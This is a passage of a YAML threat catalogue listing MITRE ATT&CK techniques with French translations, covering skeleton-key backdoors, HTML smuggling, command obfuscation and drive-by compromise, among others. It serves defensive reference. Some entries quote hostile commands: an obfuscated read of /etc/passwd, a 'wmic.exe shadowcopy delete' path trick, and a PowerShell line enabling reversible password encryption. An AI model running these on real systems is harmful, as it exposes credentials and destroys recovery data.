          \ instances de base de donn\xE9es et d\u2019autres infrastructures cruciales\
          \ pour les op\xE9rations afin de nuire \xE0 une organisation ou \xE0 ses\
          \ clients. (Citation : Destruction de donn\xE9es - Threat Post)(Citation\
          \ : DOJ - Cisco Insider)\nhttps://attack.mitre.org/techniques/T1485"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1132.002
    ref_id: T1132.002
    name: Non-Standard Encoding
    description: 'Adversaries may encode data with a non-standard data encoding system
      to make the content of command and control traffic more difficult to detect.
      Command and control (C2) information can be encoded using a non-standard data
      encoding system that diverges from existing protocol specifications. Non-standard
      data encoding schemes may be based on or related to standard data encoding schemes,
      such as a modified Base64 encoding for the message body of an HTTP request.(Citation:
      Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)

      https://attack.mitre.org/techniques/T1132/002'
    translations:
      fr:
        name: Encodage non standard
        description: "Les adversaires peuvent coder les donn\xE9es \xE0 l\u2019aide\
          \ d\u2019un syst\xE8me de codage de donn\xE9es non standard afin de rendre\
          \ le contenu du trafic de commande et de contr\xF4le plus difficile \xE0\
          \ d\xE9tecter. Les informations de commande et de contr\xF4le (C2) peuvent\
          \ \xEAtre cod\xE9es \xE0 l\u2019aide d\u2019un syst\xE8me de codage de donn\xE9\
          es non standard qui s\u2019\xE9carte des sp\xE9cifications de protocole\
          \ existantes. Les sch\xE9mas de codage de donn\xE9es non standard peuvent\
          \ \xEAtre bas\xE9s sur des sch\xE9mas de codage de donn\xE9es standard ou\
          \ li\xE9s \xE0 ceux-ci, tels qu\u2019un codage Base64 modifi\xE9 pour le\
          \ corps du message d\u2019une requ\xEAte HTTP. (Citation : Wikip\xE9dia\
          \ Binary-to-text Encoding) (citation : Codage des caract\xE8res de Wikip\xE9\
          dia)\nhttps://attack.mitre.org/techniques/T1132/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.001
    ref_id: T1556.001
    name: Domain Controller Authentication
    description: "Adversaries may patch the authentication process on a domain controller\
      \ to bypass the typical authentication mechanisms and enable access to accounts.\
      \ \n\nMalware may be used to inject false credentials into the authentication\
      \ process on a domain controller with the intent of creating a backdoor used\
      \ to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).\
      \ Skeleton key works through a patch on an enterprise domain controller authentication\
      \ process (LSASS) with credentials that adversaries may use to bypass the standard\
      \ authentication system. Once patched, an adversary can use the injected password\
      \ to successfully authenticate as any domain user account (until the the skeleton\
      \ key is erased from memory by a reboot of the domain controller). Authenticated\
      \ access may enable unfettered access to hosts and/or resources within single-factor\
      \ authentication environments.(Citation: Dell Skeleton)\nhttps://attack.mitre.org/techniques/T1556/001"
    translations:
      fr:
        name: "Authentification du contr\xF4leur de domaine"
        description: "Les adversaires peuvent corriger le processus d\u2019authentification\
          \ sur un contr\xF4leur de domaine pour contourner les m\xE9canismes d\u2019\
          authentification habituels et permettre l\u2019acc\xE8s aux comptes. \n\n\
          Les logiciels malveillants peuvent \xEAtre utilis\xE9s pour injecter de\
          \ fausses informations d\u2019identification dans le processus d\u2019authentification\
          \ sur un contr\xF4leur de domaine dans le but de cr\xE9er une porte d\xE9\
          rob\xE9e utilis\xE9e pour acc\xE9der au compte et/ou aux informations d\u2019\
          identification d\u2019un utilisateur (ex : [Skeleton Key](https://attack.mitre.org/software/S0007)).\
          \ La cl\xE9 squelette fonctionne via un correctif sur un processus d\u2019\
          authentification de contr\xF4leur de domaine d\u2019entreprise (LSASS) avec\
          \ des informations d\u2019identification que les adversaires peuvent utiliser\
          \ pour contourner le syst\xE8me d\u2019authentification standard. Une fois\
          \ corrig\xE9, un adversaire peut utiliser le mot de passe inject\xE9 pour\
          \ s\u2019authentifier en tant que compte d\u2019utilisateur de domaine (jusqu\u2019\
          \xE0 ce que la cl\xE9 squelette soit effac\xE9e de la m\xE9moire par un\
          \ red\xE9marrage du contr\xF4leur de domaine). L\u2019acc\xE8s authentifi\xE9\
          \ peut permettre un acc\xE8s sans entrave aux h\xF4tes et/ou aux ressources\
          \ dans les environnements d\u2019authentification \xE0 facteur unique. (Citation\
          \ : Dell Skeleton)\nhttps://attack.mitre.org/techniques/T1556/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1537
    ref_id: T1537
    name: Transfer Data to Cloud Account
    description: 'Adversaries may exfiltrate data by transferring the data, including
      through sharing/syncing and creating backups of cloud environments, to another
      cloud account they control on the same service.


      A defender who is monitoring for large transfers to outside the cloud environment
      through normal file transfers or over command and control channels may not be
      watching for data transfers to another account within the same cloud provider.
      Such transfers may utilize existing cloud provider APIs and the internal address
      space of the cloud provider to blend into normal traffic or avoid data transfers
      over external network interfaces.(Citation: TLDRSec AWS Attacks)


      Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled
      cloud accounts, such as creating anonymous file sharing links or, in Azure,
      a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared
      Access Signature)


      Incidents have been observed where adversaries have created backups of cloud
      instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment
      Jul 2018)

      https://attack.mitre.org/techniques/T1537'
    translations:
      fr:
        name: "Transfert de donn\xE9es vers un compte cloud"
        description: "Les adversaires peuvent exfiltrer des donn\xE9es en les transf\xE9\
          rant, notamment par le partage/la synchronisation et la cr\xE9ation de sauvegardes\
          \ d\u2019environnements cloud, vers un autre compte cloud qu\u2019ils contr\xF4\
          lent sur le m\xEAme service.\n\nUn d\xE9fenseur qui surveille les transferts\
          \ volumineux vers l\u2019ext\xE9rieur de l\u2019environnement cloud par\
          \ le biais de transferts de fichiers normaux ou sur des canaux de commande\
          \ et de contr\xF4le peut ne pas surveiller les transferts de donn\xE9es\
          \ vers un autre compte au sein du m\xEAme fournisseur de cloud. Ces transferts\
          \ peuvent utiliser les API existantes du fournisseur de cloud et l\u2019\
          espace d\u2019adressage interne du fournisseur de cloud pour se fondre dans\
          \ le trafic normal ou \xE9viter les transferts de donn\xE9es sur des interfaces\
          \ r\xE9seau externes. (Citation : Attaques AWS TLDRSec)\n\nLes adversaires\
          \ peuvent \xE9galement utiliser des m\xE9canismes natifs du cloud pour partager\
          \ les donn\xE9es des victimes avec des comptes cloud contr\xF4l\xE9s par\
          \ l\u2019adversaire, tels que la cr\xE9ation de liens de partage de fichiers\
          \ anonymes ou, dans Azure, d\u2019une URI de signature d\u2019acc\xE8s partag\xE9\
          \ (SAS). (citation : Signature d\u2019acc\xE8s partag\xE9 au stockage Microsoft\
          \ Azure)\n\nDes incidents ont \xE9t\xE9 observ\xE9s o\xF9 des adversaires\
          \ ont cr\xE9\xE9 des sauvegardes d\u2019instances cloud et les ont transf\xE9\
          r\xE9es vers des comptes distincts. (Citation : Acte d\u2019accusation du\
          \ DOJ GRU, juillet 2018)\nhttps://attack.mitre.org/techniques/T1537"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.006
    ref_id: T1027.006
    name: HTML Smuggling
    description: 'Adversaries may smuggle data and files past content filters by hiding
      malicious payloads inside of seemingly benign HTML files. HTML documents can
      store large binary objects known as JavaScript Blobs (immutable data that represents
      raw bytes) that can later be constructed into file-like objects. Data may also
      be stored in Data URLs, which enable embedding media type or MIME files inline
      of HTML documents. HTML5 also introduced a download attribute that may be used
      to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation:
      Outlflank HTML Smuggling 2018)


      Adversaries may deliver payloads to victims that bypass security controls through
      HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes.
      Security controls such as web content filters may not identify smuggled malicious
      files inside of HTML/JS files, as the content may be based on typically benign
      MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious
      files or data can be obfuscated and hidden inside of HTML files through Data
      URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim
      (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)),
      potentially bypassing content filters.


      For example, JavaScript Blobs can be abused to dynamically generate malicious
      files in the victim machine and may be dropped to disk by abusing JavaScript
      functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security
      2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling
      2018)(Citation: nccgroup Smuggling HTA 2017)

      https://attack.mitre.org/techniques/T1027/006'
    translations:
      fr:
        name: Contrebande HTML
        description: "Les adversaires peuvent faire passer en contrebande des donn\xE9\
          es et des fichiers au-del\xE0 des filtres de contenu en cachant des charges\
          \ utiles malveillantes \xE0 l\u2019int\xE9rieur de fichiers HTML apparemment\
          \ inoffensifs. Les documents HTML peuvent stocker de gros objets binaires\
          \ appel\xE9s blobs JavaScript (donn\xE9es immuables qui repr\xE9sentent\
          \ des octets bruts) qui peuvent ensuite \xEAtre construits en objets de\
          \ type fichier. Les donn\xE9es peuvent \xE9galement \xEAtre stock\xE9es\
          \ dans des URL de donn\xE9es, ce qui permet d\u2019int\xE9grer des fichiers\
          \ de type multim\xE9dia ou MIME en ligne dans des documents HTML. HTML5\
          \ a \xE9galement introduit un attribut de t\xE9l\xE9chargement qui peut\
          \ \xEAtre utilis\xE9 pour lancer des t\xE9l\xE9chargements de fichiers.\
          \ (Citation : HTML Smuggling Menlo Security 2020)(Citation : Outlflank HTML\
          \ Smuggling 2018)\n\nLes adversaires peuvent fournir des charges utiles\
          \ aux victimes qui contournent les contr\xF4les de s\xE9curit\xE9 par le\
          \ biais de la contrebande HTML en abusant des blobs JavaScript et/ou des\
          \ attributs de t\xE9l\xE9chargement HTML5. Les contr\xF4les de s\xE9curit\xE9\
          \ tels que les filtres de contenu Web peuvent ne pas identifier les fichiers\
          \ malveillants de contrebande \xE0 l\u2019int\xE9rieur des fichiers HTML/JS,\
          \ car le contenu peut \xEAtre bas\xE9 sur des types MIME g\xE9n\xE9ralement\
          \ b\xE9nins tels que <code>text/plain</code> et/ou <code>text/html</code>.\
          \ Les fichiers ou donn\xE9es malveillants peuvent \xEAtre obscurcis et cach\xE9\
          s \xE0 l\u2019int\xE9rieur de fichiers HTML par le biais d\u2019URL de donn\xE9\
          es et/ou de blobs JavaScript et peuvent \xEAtre d\xE9brouill\xE9s lorsqu\u2019\
          ils atteignent la victime (c\u2019est-\xE0-dire [D\xE9brouiller/D\xE9coder\
          \ des fichiers ou des informations](https://attack.mitre.org/techniques/T1140)),\
          \ contournant potentiellement les filtres de contenu.\n\nPar exemple, les\
          \ blobs JavaScript peuvent \xEAtre utilis\xE9s de mani\xE8re abusive pour\
          \ g\xE9n\xE9rer dynamiquement des fichiers malveillants sur l\u2019ordinateur\
          \ victime et peuvent \xEAtre d\xE9pos\xE9s sur le disque en abusant de fonctions\
          \ JavaScript telles que <code>msSaveBlob</code>. (Citation : HTML Smuggling\
          \ Menlo Security 2020)(Citation : MSTIC NOBELIUM mai 2021)(Citation : Outlflank\
          \ HTML Smuggling 2018)(Citation : nccgroup Smuggling HTA 2017)\nhttps://attack.mitre.org/techniques/T1027/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.005
    ref_id: T1556.005
    name: Reversible Encryption
    description: 'An adversary may abuse Active Directory authentication encryption
      properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code>
      property specifies whether reversible password encryption for an account is
      enabled or disabled. By default this property is disabled (instead storing user
      credentials as the output of one-way hashing functions) and should not be enabled
      unless legacy or other software require it.(Citation: store_pwd_rev_enc)


      If the property is enabled and/or a user changes their password after it is
      enabled, an adversary may be able to obtain the plaintext of passwords created/changed
      after the property was enabled. To decrypt the passwords, an adversary needs
      four components:


      1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory
      user-structure <code>userParameters</code>

      2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from
      <code>userParameters</code>

      3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)

      4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)


      With this information, an adversary may be able to reproduce the encryption
      key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation:
      how_pwd_rev_enc_2)


      An adversary may set this property at various scopes through Local Group Policy
      Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory
      [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example,
      an adversary may implement and apply a FGPP to users or groups if the Domain
      Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync)
      In PowerShell, an adversary may make associated changes to user settings using
      commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.

      https://attack.mitre.org/techniques/T1556/005'
    translations:
      fr:
        name: "Chiffrement r\xE9versible"
        description: "Un adversaire peut abuser des propri\xE9t\xE9s de chiffrement\
          \ de l\u2019authentification Active Directory pour acc\xE9der aux informations\
          \ d\u2019identification sur les syst\xE8mes Windows. La propri\xE9t\xE9\
          \ <code>AllowReversiblePasswordEncryption</code> sp\xE9cifie si le chiffrement\
          \ de mot de passe r\xE9versible d\u2019un compte est activ\xE9 ou d\xE9\
          sactiv\xE9. Par d\xE9faut, cette propri\xE9t\xE9 est d\xE9sactiv\xE9e (\xE0\
          \ la place, stockant les informations d\u2019identification de l\u2019utilisateur\
          \ en tant que sortie des fonctions de hachage unidirectionnelles) et ne\
          \ doit pas \xEAtre activ\xE9e, sauf si un logiciel h\xE9rit\xE9 ou autre\
          \ l\u2019exige. (R\xE9f\xE9rence : store_pwd_rev_enc)\n\nSi la propri\xE9\
          t\xE9 est activ\xE9e et/ou qu\u2019un utilisateur modifie son mot de passe\
          \ apr\xE8s son activation, un adversaire peut \xEAtre en mesure d\u2019\
          obtenir le texte brut des mots de passe cr\xE9\xE9s/modifi\xE9s apr\xE8\
          s l\u2019activation de la propri\xE9t\xE9. Pour d\xE9chiffrer les mots de\
          \ passe, un adversaire a besoin de quatre \xE9l\xE9ments :\n\n1. Mot de\
          \ passe crypt\xE9 (<code>G$RADIUSCHAP</code>) \xE0 partir de la structure\
          \ <code>utilisateur Active Directory userParameters</code>\n2. Valeur de\
          \ 16 octets g\xE9n\xE9r\xE9e al\xE9atoirement (<code>G$RADIUSCHAPKEY</code>)\
          \ \xE9galement \xE0 partir de <code>userParameters</code>\n3. Secret LSA\
          \ global (<code>G$MSRADIUSCHAPKEY</code>)\n4. Cl\xE9 statique cod\xE9e en\
          \ dur dans la DLL de sous-authentification d\u2019acc\xE8s \xE0 distance\
          \ (<code>RASSFM.DLL</code>)\n\n\xC0 l\u2019aide de ces informations, un\
          \ adversaire peut \xEAtre en mesure de reproduire la cl\xE9 de chiffrement,\
          \ puis de d\xE9chiffrer la valeur du mot de passe chiffr\xE9. (R\xE9f\xE9\
          rence : how_pwd_rev_enc_1)(R\xE9f\xE9rence : how_pwd_rev_enc_2)\n\nUn adversaire\
          \ peut d\xE9finir cette propri\xE9t\xE9 \xE0 diff\xE9rentes \xE9chelles\
          \ via l\u2019\xC9diteur de strat\xE9gie de groupe local, les propri\xE9\
          t\xE9s utilisateur, la politique de mot de passe affin\xE9e (FGPP) ou le\
          \ module ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001).\
          \ Par exemple, un adversaire peut impl\xE9menter et appliquer un FGPP \xE0\
          \ des utilisateurs ou \xE0 des groupes si le niveau fonctionnel du domaine\
          \ est d\xE9fini sur \xAB Windows Server 2008 \xBB ou une version ult\xE9\
          rieure. (R\xE9f\xE9rence : dump_pwd_dcsync) Dans PowerShell, un adversaire\
          \ peut apporter des modifications associ\xE9es aux param\xE8tres utilisateur\
          \ \xE0 l\u2019aide de commandes similaires \xE0 <code>Set-ADUser -AllowReversiblePasswordEncryption\
          \ $true</code>.\nhttps://attack.mitre.org/techniques/T1556/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.010
    ref_id: T1027.010
    name: Command Obfuscation
    description: "Adversaries may obfuscate content during command execution to impede\
      \ detection. Command-line obfuscation is a method of making strings and patterns\
      \ within commands and scripts more difficult to signature and analyze. This\
      \ type of obfuscation can be included within commands executed by delivered\
      \ payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and\
      \ [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively\
      \ via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:\
      \ Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse\
      \ syntax that utilizes various symbols and escape characters (such as spacing,\
      \  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining\
      \ the same intended functionality.(Citation: RC PowerShell) Many languages support\
      \ built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft\
      \ PowerShellB64) Adversaries may also manually implement command obfuscation\
      \ via string splitting (`\u201CWor\u201D+\u201Cd.Application\u201D`), order\
      \ and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p\
      \ '/tmp/:&$NiA'`), as well as various tricks involving passing strings through\
      \ tokens/environment variables/input streams.(Citation: Bashfuscator Command\
      \ Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also\
      \ use tricks such as directory traversals to obfuscate references to the binary\
      \ being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\\
      ..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation:\
      \ Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and\
      \ <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation:\
      \ Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)\nhttps://attack.mitre.org/techniques/T1027/010"
    translations:
      fr:
        name: Obfuscation de commande
        description: "Les adversaires peuvent obscurcir le contenu pendant l\u2019\
          ex\xE9cution de la commande pour entraver la d\xE9tection. L\u2019obfuscation\
          \ de ligne de commande est une m\xE9thode qui rend les cha\xEEnes et les\
          \ motifs dans les commandes et les scripts plus difficiles \xE0 signer et\
          \ \xE0 analyser. Ce type d\u2019obfuscation peut \xEAtre inclus dans des\
          \ commandes ex\xE9cut\xE9es par des charges utiles livr\xE9es (par exemple,\
          \ [Phishing](https://attack.mitre.org/techniques/T1566) et [Drive-by Compromise](https://attack.mitre.org/techniques/T1189))\
          \ ou de mani\xE8re interactive via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).\
          \ (R\xE9f\xE9rence : Akamai JS)(Citation : Malware Monday VBE)\n\nPar exemple,\
          \ les adversaires peuvent abuser d\u2019une syntaxe qui utilise divers symboles\
          \ et caract\xE8res d\u2019\xE9chappement (tels que l\u2019espacement, '^',\
          \ '+', '$' et '\_%') pour rendre les commandes difficiles \xE0 analyser\
          \ tout en conservant les m\xEAmes fonctionnalit\xE9s pr\xE9vues. (Citation\
          \ : RC PowerShell) De nombreuses langues prennent en charge l\u2019obfuscation\
          \ int\xE9gr\xE9e sous la forme d\u2019un encodage base64 ou d\u2019URL.\
          \ (R\xE9f\xE9rence : Microsoft PowerShellB64) Les adversaires peuvent \xE9\
          galement impl\xE9menter manuellement l\u2019obfuscation des commandes via\
          \ le fractionnement des cha\xEEnes ('\"Wor\"+\"d.Application\"'), l\u2019\
          ordre et la casse des caract\xE8res ('rev <<<''dwssap/cte/ tac''), le globing\
          \ ('mkdir -p '/tmp/\_:&$NiA''), ainsi que diverses astuces impliquant le\
          \ passage de cha\xEEnes \xE0 travers des jetons/variables d\u2019environnement/flux\
          \ d\u2019entr\xE9e. (Citation : Bashfuscator Command Obfuscators)(R\xE9\
          f\xE9rence : FireEye Obfuscation juin 2017)\n\nLes adversaires peuvent \xE9\
          galement utiliser des astuces telles que les travers\xE9es de r\xE9pertoires\
          \ pour obscurcir les r\xE9f\xE9rences au binaire invoqu\xE9 par une commande\
          \ ('C\_:\\voi\\pcw\\.. \\.. \\Windows\\tei\\qs\\k\\.. \\.. \\.. \\system32\\\
          erool\\.. \\wbem\\wg\\je\\.. \\.. \\wmic.exe shadowcopy delete'). (Citation\
          \ : Twitter Richard WMIC)\n\nDes outils tels que <code>Invoke-Obfuscation</code>\
          \ et <code>Invoke-DOSfucation</code> ont \xE9galement \xE9t\xE9 utilis\xE9\
          s pour obscurcir les commandes. (Citation : Invoke-DOSfuscation)(Citation\
          \ : Invoke-Obfuscation)\nhttps://attack.mitre.org/techniques/T1027/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.004
    ref_id: T1070.004
    name: File Deletion
    description: 'Adversaries may delete files left behind by the actions of their
      intrusion activity. Malware, tools, or other non-native files dropped or created
      on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105))
      may leave traces to indicate to what was done within a network and how. Removal
      of these files can occur during an intrusion, or as part of a post-intrusion
      process to minimize the adversary''s footprint.


      There are tools available from the host operating system to perform cleanup,
      but adversaries may use other tools as well.(Citation: Microsoft SDelete July
      2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
      functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code>
      on Linux and macOS.

      https://attack.mitre.org/techniques/T1070/004'
    translations:
      fr:
        name: Suppression de fichiers
        description: "Les adversaires peuvent supprimer des fichiers laiss\xE9s par\
          \ leurs activit\xE9s d\u2019intrusion. Les logiciels malveillants, les outils\
          \ ou d\u2019autres fichiers non natifs d\xE9pos\xE9s ou cr\xE9\xE9s sur\
          \ un syst\xE8me par un adversaire (ex : [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105))\
          \ peuvent laisser des traces pour indiquer ce qui a \xE9t\xE9 fait au sein\
          \ d\u2019un r\xE9seau et comment. La suppression de ces fichiers peut avoir\
          \ lieu lors d\u2019une intrusion ou dans le cadre d\u2019un processus post-intrusion\
          \ afin de minimiser l\u2019empreinte de l\u2019adversaire.\n\nIl existe\
          \ des outils disponibles sur le syst\xE8me d\u2019exploitation h\xF4te pour\
          \ effectuer le nettoyage, mais les adversaires peuvent \xE9galement utiliser\
          \ d\u2019autres outils. (Citation : Microsoft SDelete juillet 2016) Des\
          \ exemples de fonctions int\xE9gr\xE9es [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)\
          \ incluent <code>del</code> sous Windows et <code>rm</code> ou <code>unlink</code>\
          \ sous Linux et macOS.\nhttps://attack.mitre.org/techniques/T1070/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1189
    ref_id: T1189
    name: Drive-by Compromise
    description: "Adversaries may gain access to a system through a user visiting\
      \ a website over the normal course of browsing. With this technique, the user's\
      \ web browser is typically targeted for exploitation, but adversaries may also\
      \ use compromised websites for non-exploitation behavior such as acquiring [Application\
      \ Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple\
      \ ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)),\
      \ including:\n\n* A legitimate website is compromised where adversaries have\
      \ injected some form of malicious code such as JavaScript, iFrames, and cross-site\
      \ scripting\n* Script files served to a legitimate website from a publicly writeable\
      \ cloud storage bucket are modified by an adversary\n* Malicious ads are paid\
      \ for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\
      * Built-in web application interfaces are leveraged for the insertion of any\
      \ other kind of object that can be used to display web content or contain a\
      \ script that executes on the visiting client (e.g. forum posts, comments, and\
      \ other user controllable web content).\n\nOften the website used by an adversary\
      \ is one visited by a specific community, such as government, a particular industry,\
      \ or region, where the goal is to compromise a specific user or set of users\
      \ based on a shared interest. This kind of targeted campaign is often referred\
      \ to a strategic web compromise or watering hole attack. There are several known\
      \ examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\
      \nTypical drive-by compromise process:\n\n1. A user visits a website that is\
      \ used to host the adversary controlled content.\n2. Scripts automatically execute,\
      \ typically searching versions of the browser and plugins for a potentially\
      \ vulnerable version. \n    * The user may be required to assist in this process\
      \ by enabling scripting or active website components and ignoring warning dialog\
      \ boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to\
      \ the browser.\n4. If exploitation is successful, then it will give the adversary\
      \ code execution on the user's system unless other protections are in place.\n\
      \    * In some cases a second visit to the website after the initial scan is\
      \ required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing\
      \ Application](https://attack.mitre.org/techniques/T1190), the focus of this\
      \ technique is to exploit software on a client endpoint upon visiting a website.\
      \ This will commonly give an adversary access to systems on the internal network\
      \ instead of external systems that may be in a DMZ.\n\nAdversaries may also\
      \ use compromised websites to deliver a user to a malicious application designed\
      \ to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s,\
      \ like OAuth tokens, to gain access to protected applications and information.\
      \ These malicious applications have been delivered through popups on legitimate\
      \ websites.(Citation: Volexity OceanLotus Nov 2017)\nhttps://attack.mitre.org/techniques/T1189"
    translations:
      fr:
        name: Compromis de conduite
        description: "Des adversaires peuvent acc\xE9der \xE0 un syst\xE8me par l'interm\xE9\
          diaire d'un utilisateur qui visite un site web dans le cadre d'une navigation\
          \ normale. Avec cette technique, le navigateur web de l'utilisateur est\
          \ g\xE9n\xE9ralement cibl\xE9 pour l'exploitation, mais les adversaires\
          \ peuvent \xE9galement utiliser des sites web compromis pour un comportement\
          \ de non-exploitation tel que l'acquisition d'un [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\
          \nIl existe plusieurs fa\xE7ons de transmettre un code d'exploitation \xE0\
          \ un navigateur (c'est-\xE0-dire [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)),\
          \ notamment :\n\n* Un site web l\xE9gitime est compromis lorsque des adversaires\
          \ ont inject\xE9 une forme de code malveillant tel que JavaScript, iFrames\
          \ et cross-site scripting.\n* Des fichiers de script servis \xE0 un site\
          \ web l\xE9gitime \xE0 partir d'un espace de stockage dans le nuage accessible\
          \ au public sont modifi\xE9s par un adversaire.\n* Des publicit\xE9s malveillantes\
          \ sont pay\xE9es et diffus\xE9es par des fournisseurs de publicit\xE9s l\xE9\
          gitimes (c'est-\xE0-dire [Malvertising] (https://attack.mitre.org/techniques/T1583/008)).\n\
          * Les interfaces d'application web int\xE9gr\xE9es sont exploit\xE9es pour\
          \ l'insertion de tout autre type d'objet pouvant \xEAtre utilis\xE9 pour\
          \ afficher un contenu web ou contenir un script qui s'ex\xE9cute sur le\
          \ client visiteur (par exemple, des messages de forum, des commentaires\
          \ et d'autres contenus web contr\xF4lables par l'utilisateur).\n\nSouvent,\
          \ le site web utilis\xE9 par un adversaire est un site visit\xE9 par une\
          \ communaut\xE9 sp\xE9cifique, telle qu'un gouvernement, une industrie particuli\xE8\
          re ou une r\xE9gion, o\xF9 l'objectif est de compromettre un utilisateur\
          \ sp\xE9cifique ou un ensemble d'utilisateurs sur la base d'un int\xE9r\xEA\
          t partag\xE9. Ce type de campagne cibl\xE9e est souvent appel\xE9 \xAB compromission\
          \ strat\xE9gique du web \xBB ou \xAB attaque par trou d'eau \xBB. Il existe\
          \ plusieurs exemples connus de ce type d'attaque (Citation : Shadowserver\
          \ Strategic Web Compromise).\n\n\nProcessus de compromis typique de type\
          \ \xAB drive-by \xBB :\n\n1. Un utilisateur visite un site web utilis\xE9\
          \ pour h\xE9berger le contenu contr\xF4l\xE9 par l'adversaire.\n2. Des scripts\
          \ s'ex\xE9cutent automatiquement, recherchant g\xE9n\xE9ralement dans les\
          \ versions du navigateur et des plugins une version potentiellement vuln\xE9\
          rable. \n    * L'utilisateur peut \xEAtre amen\xE9 \xE0 participer \xE0\
          \ ce processus en activant les scripts ou les composants actifs du site\
          \ web et en ignorant les bo\xEEtes de dialogue d'avertissement.\n3. Lorsqu'une\
          \ version vuln\xE9rable est trouv\xE9e, le code d'exploitation est transmis\
          \ au navigateur.\n4. Si l'exploitation r\xE9ussit, l'adversaire peut ex\xE9\
          cuter le code sur le syst\xE8me de l'utilisateur, sauf si d'autres protections\
          \ sont en place.\n    * Dans certains cas, une deuxi\xE8me visite sur le\
          \ site web apr\xE8s l'analyse initiale est n\xE9cessaire avant que le code\
          \ d'exploitation ne soit livr\xE9.\n\nContrairement \xE0 [Exploit Public-Facing\
          \ Application] (https://attack.mitre.org/techniques/T1190), cette technique\
          \ vise \xE0 exploiter un logiciel sur un point de terminaison client lors\
          \ de la visite d'un site Web. Cela permet g\xE9n\xE9ralement \xE0 un adversaire\
          \ d'acc\xE9der \xE0 des syst\xE8mes sur le r\xE9seau interne plut\xF4t qu'\xE0\
          \ des syst\xE8mes externes qui peuvent se trouver dans une zone d\xE9militaris\xE9\
          e (DMZ).\n\nLes adversaires peuvent \xE9galement utiliser des sites web\
          \ compromis pour diriger un utilisateur vers une application malveillante\
          \ con\xE7ue pour [voler des jetons d'acc\xE8s aux applications] (https://attack.mitre.org/techniques/T1528),\
          \ comme les jetons OAuth, afin d'acc\xE9der \xE0 des applications et \xE0\
          \ des informations prot\xE9g\xE9es. Ces applications malveillantes ont \xE9\
          t\xE9 diffus\xE9es par le biais de fen\xEAtres contextuelles sur des sites\
          \ web l\xE9gitimes.(Citation : Volexity OceanLotus Nov 2017)\nhttps://attack.mitre.org/techniques/T1189"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1498
    ref_id: T1498
    name: Network Denial of Service
    description: 'Adversaries may perform Network Denial of Service (DoS) attacks
      to degrade or block the availability of targeted resources to users. Network
      DoS can be performed by exhausting the network bandwidth services rely on. Example
      resources include specific websites, email services, DNS, and web-based applications.
      Adversaries have been observed conducting network DoS attacks for political
      purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support
      other malicious activities, including distraction(Citation: FSISAC FraudNetDoS
      September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October
      2014)


      A Network DoS will occur when the bandwidth capacity of the network connection
      to a system is exhausted due to the volume of malicious traffic directed at
      the resource or the network connections and network devices the resource relies
      on. For example, an adversary may send 10Gbps of traffic to a server that is
